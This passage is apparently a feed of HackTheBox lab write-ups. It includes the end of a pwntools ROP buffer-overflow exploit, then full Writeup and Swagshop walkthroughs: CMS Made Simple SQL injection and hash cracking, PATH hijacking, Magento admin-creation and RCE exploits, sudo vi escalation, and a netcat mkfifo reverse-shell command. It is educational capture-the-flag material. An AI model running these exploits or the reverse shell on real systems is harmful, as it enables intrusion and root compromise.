00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 9b 17 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000090 00 00 00 00 00 00 00 00 70 a9 7a 0f f5 7f 00 00 │····│····│p·z·│····│
000000a0 9b 17 40 00 00 00 00 00 9a 8e 87 0f f5 7f 00 00 │··@·│····│····│····│
000000b0 40 44 71 0f f5 7f 00 00 0a │@Dq·│····│·│
000000b9
[DEBUG] Received 0x12 bytes:
'\n'
'access denied.\n'
'# '
Enter access password:
access denied.
[*] Switching to interactive mode
# $ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x31 bytes:
'uid=0(root) gid=1002(margo) groups=1002(margo)\n'
'# '
uid=0(root) gid=1002(margo) groups=1002(margo)
# $ cat /root/root.txt
[DEBUG] Sent 0x13 bytes:
'cat /root/root.txt\n'
[DEBUG] Received 0x23 bytes:
'1cc73<redacted>\n'
'# '
1cc73<redacterd>
</redacterd></redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>What a journey! Exploiting this buffer overflow allow me to learn a lot about
<a href="http://pwntools.com">pwntools</a>. The binary manipulation is a bit strange as
here is no need to wait for the <code>garbage</code> binary to ask for the password. But
the possibility to exploit a remote binary so easily is something precious.</p>
<h2>Automated pwn</h2>
<p>We can also use <a href="http://pwntools.com">pwntools</a> to fully automate the exploit
and make it compute the addresses automatically:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">'./garbage'</span><span class="p">,</span> <span class="n">setuid</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s2">"DEBUG"</span><span class="p">)</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">'./garbage'</span><span class="p">)</span>
<span class="n">rop</span><span class="o">=</span><span class="n">ROP</span><span class="p">(</span><span class="n">elf</span><span class="p">)</span>
<span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">'/lib/x86_64-linux-gnu/libc.so.6'</span><span class="p">)</span>
<span class="n">rop</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">regs</span><span class="o">=</span><span class="p">[</span><span class="s1">'rdi'</span><span class="p">],</span> <span class="n">order</span><span class="o">=</span><span class="s1">'regs'</span><span class="p">)</span>
<span class="n">rop</span><span class="o">.</span><span class="n">puts</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">'puts'</span><span class="p">])</span>
<span class="n">rop</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'main'</span><span class="p">])</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s1">'ROP chains:'</span> <span class="o">+</span> <span class="n">rop</span><span class="o">.</span><span class="n">dump</span><span class="p">())</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">136</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">rop</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span> <span class="c1"># wait until break line</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span> <span class="c1"># wait until access denied</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">()[:</span><span class="mi">8</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s1">'leaked puts: '</span><span class="o">+</span><span class="n">leaked_puts</span><span class="p">)</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leaked_puts</span><span class="p">)</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leaked_puts</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'puts'</span><span class="p">]</span>
<span class="n">rop2</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">libc</span><span class="p">)</span>
<span class="n">rop2</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">'/bin/sh</span><span class="se">\x00</span><span class="s1">'</span><span class="p">)))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s1">'ROP2: '</span><span class="o">+</span> <span class="n">rop2</span><span class="o">.</span><span class="n">dump</span><span class="p">())</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">rop2</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span> <span class="c1"># wait until break line</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span> <span class="c1"># wait until access denied</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>But this won't "fully" work as the SUID part is not in it.</p>HTB: Writeup2019-10-12T21:52:00+02:002019-10-12T21:52:00+02:00maggicktag:maggick.fr,2019-10-12:/2019/10/htb-writeup.html<p><img alt="Writeup Card" class="align-left" src="/media/2019.10/writeup_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/192">Writeup</a>.
(<em>Yes the machine name is writeup, searching a writeup for writeup will be a
funny thing.</em>).
The machine is classed as an easy one. It involves vulnerability in a known CMS
as well as "PATH vulnerability" for the privilege escalation.</p>
<p><img alt="Writeup Card" class="align-left" src="/media/2019.10/writeup_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/192">Writeup</a>.
(<em>Yes the machine name is writeup, searching a writeup for writeup will be a
funny thing.</em>).
The machine is classed as an easy one. It involves vulnerability in a known CMS
as well as "PATH vulnerability" for the privilege escalation.</p>
<p>[TOC]</p>
<h1>Recon</h1>
<p>First of all we start by scanning the machine's open ports with nmap. Only port
22 (SSH) and 80 (HTTP) are open:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sun Sep 22 16:08:28 2019 as: nmap -oA nmap -sSV 10.10.10.138
Nmap scan report for 10.10.10.138
Host is up (0.089s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 22 16:08:43 2019 -- 1 IP address (1 host up) scanned in 15.20 seconds
</code></pre></div>
<h1>Web, getting user</h1>
<p>The homepage of this website is ugly and say that there is nothing there yet.
We take a look to <code>robots.txt</code>:</p>
<div class="highlight"><pre><span></span><code># __
# _(\ |@@|
# (__/\__ \--/ __
# \___|----| | __
# \ }{ /\ )_ / _\
# /\__/\ \__O (__
# (--/\--) \__/
# _)( )(_
# `---''---`
# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/
</code></pre></div>
<p>Let's take a look at <code>/writeup/</code>! We have there another website. When looking at
the page source code we notice the use of "CMS Made Simple" a CMS with a few
vulnerabilities.</p>
<div class="highlight"><pre><span></span><code><span class="cp"><!DOCTYPE html>
</span>
<span class="p"><</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">"en_US"</span><span class="p">><</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">title</span><span class="p">></span>Home - writeup<span class="p"><!--</span--><span class="nt">title</span><span class="p">></span>
<span class="p"><</span><span class="nt">base</span> <span class="na">href</span><span class="o">=</span><span class="s">"http://10.10.10.138/writeup/"</span> <span class="p">/></span>
<span class="p"><</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">"Generator"</span> <span class="na">content</span><span class="o">=</span><span class="s">"CMS Made Simple - Copyright (C) 2004-2019. All rights reserved."</span> <span class="p">/></span>
<span class="p"><</span><span class="nt">meta</span> <span class="na">http-equiv</span><span class="o">=</span><span class="s">"Content-Type"</span> <span class="na">content</span><span class="o">=</span><span class="s">"text/html; charset=utf-8"</span> <span class="p">/></span>
</span></code></pre></div>
<p>Let's search for exploits, a few of them are available:</p>
<div class="highlight"><pre><span></span><code># searchsploit 'made simple'
-------------------------------------------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------- ----------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit) | exploits/php/remote/46627.rb
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion | exploits/php/webapps/26217.html
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting | exploits/php/webapps/26298.txt
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting | exploits/php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection | exploits/php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities | exploits/php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution | exploits/php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | exploits/php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload | exploits/php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion | exploits/php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure | exploits/php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting | exploits/php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities | exploits/php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery | exploits/php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion | exploits/php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery | exploits/php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulnerabilities | exploits/php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution | exploits/php/webapps/44192.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution | exploits/php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution | exploits/php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning | exploits/php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection | exploits/php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | exploits/php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload | exploits/php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload | exploits/php/webapps/46546.py
-------------------------------------------------------------------------------------- ----------------------------------
Shellcodes: No Result
</code></pre></div>
<p>As we are not authenticated, The one that interest us is "CMS Made Simple <
2.2.10 - SQL Injection (exploits/php/webapps/46635.py). We run the exploit
(admire the beauty of the display). We then get a username, an email, a password
salt and a password hash.</p>
<div class="highlight"><pre><span></span><code>python 46635.py -u http://10.10.10.138/writeup
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
</code></pre></div>
<p>The exploit also allow to crack the password using a dictionary. We run
"rockyou" against it and found jkr password.</p>
<div class="highlight"><pre><span></span><code># python 46635.py --crack -w ./rockyou.txt -u http://10.10.10.138/writeup
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9
</code></pre></div>
<p>With this password we are able to connect to the box using SSH and get the user
password:</p>
<div class="highlight"><pre><span></span><code># ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 22 12:31:00 2019 from 10.10.14.237
jkr@writeup:~$ cat user.txt
d4e493<redacted>
</redacted></code></pre></div>
<h1>Root</h1>
<p>We enumerate the box without a lot of success. A quick read of the box forum
recommend to run <a href="https://github.com/DominicBreuker/pspy">pspy</a> on the box. We
discover that a script is run every time an user connect with SSH.</p>
<div class="highlight"><pre><span></span><code>2019/09/25 07:39:49 CMD: UID=0 PID=4352 | sshd: [accepted]
2019/09/25 07:39:49 CMD: UID=0 PID=4353 | sshd: [accepted]
2019/09/25 07:40:01 CMD: UID=0 PID=4354 | sshd: jkr [priv]
2019/09/25 07:40:01 CMD: UID=0 PID=4355 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/09/25 07:40:01 CMD: UID=0 PID=4356 | run-parts --lsbsysinit /etc/update-motd.d
</code></pre></div>
<p>The PATH is fixed by the command line and there is no <code>run-parts</code> binary in the
first folder <code>/usr/local/sbin</code>. Moreover this folder is writable. Therefore
we write a simple file <code>/usr/local/sbin/run-parts</code> and give it the execution
permission:</p>
<div class="highlight"><pre><span></span><code>jkr@writeup:~$ vim /usr/local/sbin/run-parts
#!/bin/bash
cat /root/root.txt > /tmp/lool/b
rm /tmp/lool/b
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts
</code></pre></div>
<p>We create a directory in <code>/tmp/</code> and write the <code>b</code> file. At the same time be
connect by SSH with the jkr user. We get the root flag</p>
<div class="highlight"><pre><span></span><code>jkr@writeup:~$ mkdir /tmp/lool/
jkr@writeup:~$ echo a > /tmp/lool/b
jkr@writeup:~$ tail -f /tmp/lool/b
a
tail: /tmp/lool/b: file truncated
eeba4<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>The user step implied only to use a know exploit without any change. The
privilege escalation was really interesting as I didn't use
<a href="https://github.com/DominicBreuker/pspy">pspy</a> before.</p>HTB: Swagshop2019-09-29T09:00:00+02:002019-09-29T09:00:00+02:00maggicktag:maggick.fr,2019-09-29:/2019/09/htb-swagshop.html<p><img alt="Swagshop Card" class="align-left" src="/media/2019.09/swagshop_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/188">Swagshop</a>
This box was suppose to be an easy one. Turns out it wasn't. I struggle a lot in
wrong direction and finally found a path to root this magento box.</p>
<p>This article presents the different methods which failed on the box as well as
the solution to root it.</p>
<p><img alt="Swagshop Card" class="align-left" src="/media/2019.09/swagshop_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/188">Swagshop</a>
This box was suppose to be an easy one. Turns out it wasn't. I struggle a lot in
wrong direction and finally found a path to root this magento box.</p>
<p>This article presents the different methods which failed on the box as well as
the solution to root it.</p>
<p>[TOC]</p>
<h1>Recon</h1>
<h2>nmap</h2>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Tue Sep 17 14:15:38 2019 as: nmap -oA 10.10.10.140 -sS 10.10.10.140
Nmap scan report for 10.10.10.140
Host is up (0.019s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Tue Sep 17 14:15:43 2019 -- 1 IP address (1 host up) scanned in 4.94 seconds
</code></pre></div>
<h2>Web</h2>
<p>As there is only an SSH and a HTTP port, we continue our recon on the web part.</p>
<p>When accessing the website we can observe a Magento website.</p>
<p><img alt="Swag shop homepage" class="image-process-article-image" src="/media/2019.09/derivatives/article-image/swagshop_3.png"/></p>
<p>Let us try a dirb:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# dirb http://10.10.10.140/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Sep 17 14:27:20 2019
URL_BASE: http://10.10.10.140/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.140/ ----
==> DIRECTORY: http://10.10.10.140/app/
==> DIRECTORY: http://10.10.10.140/errors/
+ http://10.10.10.140/favicon.ico (CODE:200|SIZE:1150)
==> DIRECTORY: http://10.10.10.140/includes/
+ http://10.10.10.140/index.php (CODE:200|SIZE:16097)
==> DIRECTORY: http://10.10.10.140/js/
==> DIRECTORY: http://10.10.10.140/lib/
==> DIRECTORY: http://10.10.10.140/media/
==> DIRECTORY: http://10.10.10.140/pkginfo/
+ http://10.10.10.140/server-status (CODE:403|SIZE:300)
==> DIRECTORY: http://10.10.10.140/shell/
==> DIRECTORY: http://10.10.10.140/skin/
==> DIRECTORY: http://10.10.10.140/var/
<snip>
</snip></code></pre></div>
<p>We see that there is a lot of directories accessible directly.
We can gather a lot of information from them, for instance the release notes
gives us some information by the version of the application:</p>
<p><img alt="Swag shop release note" class="image-process-article-image" src="/media/2019.09/derivatives/article-image/swagshop_2.png"/></p>
<p>An admin panel is also accessible on the application:</p>
<p><img alt="Swag shop admin panel" class="image-process-article-image" src="/media/2019.09/derivatives/article-image/swagshop_4.png"/></p>
<p>Let us see what CVE are available for magento. Our version is 1.7.0.2.</p>
<div class="highlight"><pre><span></span><code># searchsploit magento
-------------------------------------------------------------------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------- ----------------------------------
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting | exploits/php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting | exploits/php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting | exploits/php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File | exploits/php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py
Magento Server MAGMI Plugin - Multiple Vulnerabilities | exploits/php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion | exploits/php/webapps/35052.txt
Magento eCommerce - Local File Disclosure | exploits/php/webapps/19793.txt
Magento eCommerce - Remote Code Execution | exploits/xml/webapps/37977.py
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection | exploits/php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service) | exploits/php/webapps/38651.txt
-------------------------------------------------------------------------------------------------------------- ----------------------------------
Shellcodes: No Result
</code></pre></div>
<p>Our application is vulnerable to two interesting exploit:</p>
<ul>
<li>Magento eCommerce - Remote Code Execution (exploits/xml/webapps/37977.py)</li>
<li>Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution (exploits/php/webapps/37811.py)</li>
</ul>
<h2>Getting Admin</h2>
<p>The second exploit allow to create an admin account on the application.</p>
<p>But the exploit's script use a wrong URL. We add "/index.php/admin/" to the
target URL:</p>
<div class="highlight"><pre><span></span><code><span class="n">target_url</span> <span class="o">=</span> <span class="n">target</span> <span class="o">+</span> <span class="s2">"/index.php/admin/Cms_Wysiwyg/directive/index/"</span>
</code></pre></div>
<p>This will create an administrator account named "forme" with the same password.
We can then login to the admin panel and access the full magento framework.</p>
<p><img alt="magenta admin panel" class="image-process-article-image" src="/media/2019.09/derivatives/article-image/swagshop_1.png"/></p>
<h2>The RCE way</h2>
<h3>To the user flag</h3>
<p>From there a few possibility will allow us to execute code on the application:</p>
<p>The first one is to upload a magento extension using the download. A blog
post from jvoisin explain how to write this "simple" backdoor:
<a href="https://dustri.org/b/writing-a-simple-extensionbackdoor-for-magento.html">Writing a simple extension/backdoor for Magento</a>.
Nevertheless, the downloader is disabled a return a 404 error.</p>
<p>The second one implies to create a new product and exploit a phtml page to
execute code on the server. An article blog describe the process
<a href="https://blog.scrt.ch/2019/01/24/magento-rce-local-file-read-with-low-privilege-admin-rights/">Sec Team Blog</a>.
Once more this method does not seems to work. Maybe our Magenton version is too
old an the vulnerability is not introduce on the application yet.</p>
<p>An other on is to exploit the "froghopper" attack described in a
<a href="https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper">forgenix blog post</a>.
Again, the uploaded code was not executed on the server</p>
<p>The last option is to use the other exploit that was listed with searchsploit:
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution (exploits/php/webapps/37811.py)</p>
<p>We change the install_date parameter and we add our credentials to the script.</p>
<div class="highlight"><pre><span></span><code><span class="n">install_date</span> <span class="o">=</span> <span class="s1">'Wed, 08 May 2019 07:23:09 +0000'</span> <span class="c1"># This needs to be the exact date from /app/etc/local.xml</span>
</code></pre></div>
<p>Then we launch the script:</p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span>sploi.py<span class="w"> </span>http://10.10.10.140/index.php/admin<span class="w"> </span><span class="s2">"uname -a"</span>
Traceback<span class="w"> </span><span class="o">(</span>most<span class="w"> </span>recent<span class="w"> </span>call<span class="w"> </span>last<span class="o">)</span>:
<span class="w"> </span>File<span class="w"> </span><span class="s2">"37811.py"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">69</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span><module>
<span class="w"> </span><span class="nv">tunnel</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>tunnel.group<span class="o">(</span><span class="m">1</span><span class="o">)</span>
<span class="w"> </span>AttributeError:<span class="w"> </span><span class="s1">'NoneType'</span><span class="w"> </span>object<span class="w"> </span>has<span class="w"> </span>no<span class="w"> </span>attribute<span class="w"> </span><span class="s1">'group'</span>
</module></code></pre></div>
<p>The error is because in the last 7 days there were no sales. We can change
this parameter in the exploit code (we put 2 years to be safe):</p>
<div class="highlight"><pre><span></span><code><span class="c1">#request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)</span>
<span class="n">request</span> <span class="o">=</span> <span class="n">br</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s1">'block/tab_orders/period/2y/?isAjax=true'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="s1">'isAjax=false&form_key='</span> <span class="o">+</span> <span class="n">key</span><span class="p">)</span>
<span class="n">tunnel</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s2">"src=</span><span class="se">\"</span><span class="s2">(.*)\?ga="</span><span class="p">,</span> <span class="n">request</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">tunnel</span> <span class="o">=</span> <span class="n">tunnel</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div>
<p>We relaunch the script:</p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span>sploi.py<span class="w"> </span>http://10.10.10.140/index.php/admin<span class="w"> </span><span class="s2">"uname -a"</span>
Linux<span class="w"> </span>swagshop<span class="w"> </span><span class="m">4</span>.4.0-146-generic<span class="w"> </span><span class="c1">#172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux</span>
python<span class="w"> </span>sploi.py<span class="w"> </span>http://10.10.10.140/index.php/admin<span class="w"> </span><span class="s2">"whoami"</span>
www-data
</code></pre></div>
<p>We get a remote code execution. From there we can get a reverse shell or do
everything only with the RCE. I struggle a bit with the reverse shell before
finding the right one. Therefore I will start with the RCE only exploitation.</p>
<p>As the box is often reset by other players we chain the two exploit in a bash
script.</p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span><span class="m">37977</span>.py
python<span class="w"> </span>sploi.py<span class="w"> </span>http://10.10.10.140/index.php/admin<span class="w"> </span><span class="s2">"whoami"</span>
</code></pre></div>
<p><em>Fron now on I will only write the command of the second script ("whoami" in the
exemple above) and make more than one command by duplicating the line.</em></p>
<p>We want to get the user flag. In HTB's VM there is always a user flag in
/home/<some user="">/user.txt and a root flag in /root/root.txt (at least on the
Linux One). So we look at the user directory:</some></p>
<div class="highlight"><pre><span></span><code>ls /home/
haris
</code></pre></div>
<p>We list the user folder:</p>
<div class="highlight"><pre><span></span><code>ls /home/haris/
user.txt
</code></pre></div>
<p>And we get the user flag:</p>
<div class="highlight"><pre><span></span><code>cat /home/haris/user.txt
a4488<redacted>
</redacted></code></pre></div>
<h3>let's get root</h3>
<p>We start by enumerating our permissions on the box:</p>
<div class="highlight"><pre><span></span><code>sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
</code></pre></div>
<p>It is well known that Vi let you run system command. Nevertheless we must execute
this command without a shell. For that we can use the vi "-c" option:</p>
<div class="highlight"><pre><span></span><code>python sploi.py http://10.10.10.140/index.php/admin "sudo /usr/bin/vi /var/www/html/1 -c ':! cat /root/root.txt > /tmp/mak/6'"
python sploi.py http://10.10.10.140/index.php/admin "cat /tmp/mak/6"
c2b087<redacted>
___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!
</redacted></code></pre></div>
<h2>Reverse shell way</h2>
<p>There is another way to resolve this part of the box: using a reverse shell!</p>
<p>My classic python reverse shell was not working as there was no python on the box and
the bash reverse was also not working. Nevertheless, the netcat one was working:</p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span>sploi.py<span class="w"> </span>http://10.10.10.140/index.php/admin<span class="w"> </span><span class="s2">"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.148 1234 >/tmp/f"</span>
</code></pre></div>
<p>On the client side we need to open a listener with netcat:</p>
<div class="highlight"><pre><span></span><code>netcat<span class="w"> </span>-lvp<span class="w"> </span><span class="m">1234</span>
</code></pre></div>
<p>Then we got a reverse shell!</p>
<p>With this reverse shell the commands are the same but faster ;).
We can easily find the user flag:</p>
<div class="highlight"><pre><span></span><code>ls /home/
haris
ls /home/haris/
user.txt
cat /home/haris/user.txt
a44887<redacted>
</redacted></code></pre></div>
<p>For the privilege escalation we can just spwan a vi:</p>
<div class="highlight"><pre><span></span><code>$ sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
$ sudo /usr/bin/vi /var/www/html/1
</code></pre></div>
<p>We get an error about the terminal not being interactive:</p>
<div class="highlight"><pre><span></span><code>Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
</code></pre></div>
<p>Then we just enter the command to get a shell from vi:</p>
<div class="highlight"><pre><span></span><code>:! /bin/bash
id
uid=0(root) gid=0(root) groups=0(root)
ls /root/
root.txt
cat /root/root.txt
c2b087<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>This box was really interesting. I learned a lot about magento admin panel. As
the downloader was disabled, the easiest way to execute code on the box was not
available and I had to find other ways to execute code on a magento website from
the admin panel. This might became handy someday.
The privilege escalation was quit easy as I know a lot about vi.</p>HTB: Jerry2019-09-12T10:25:00+02:002019-09-12T10:25:00+02:00maggicktag:maggick.fr,2019-09-12:/2019/09/htb-jerry.html<p><img alt="Jerry card" class="align-left" src="/media/2019.09/jerry_card.png" width="262"/></p>
<p>I started to work on <a href="www.hackthebox.com/">Hack The Box</a> machines in 2018. This is a writeup for the
retired <a href="https://www.hackthebox.com/home/machines/profile/144">Jerry</a> machine.</p>
<p><img alt="Jerry card" class="align-left" src="/media/2019.09/jerry_card.png" width="262"/></p>
<p>I started to work on <a href="www.hackthebox.com/">Hack The Box</a> machines in 2018. This is a writeup for the
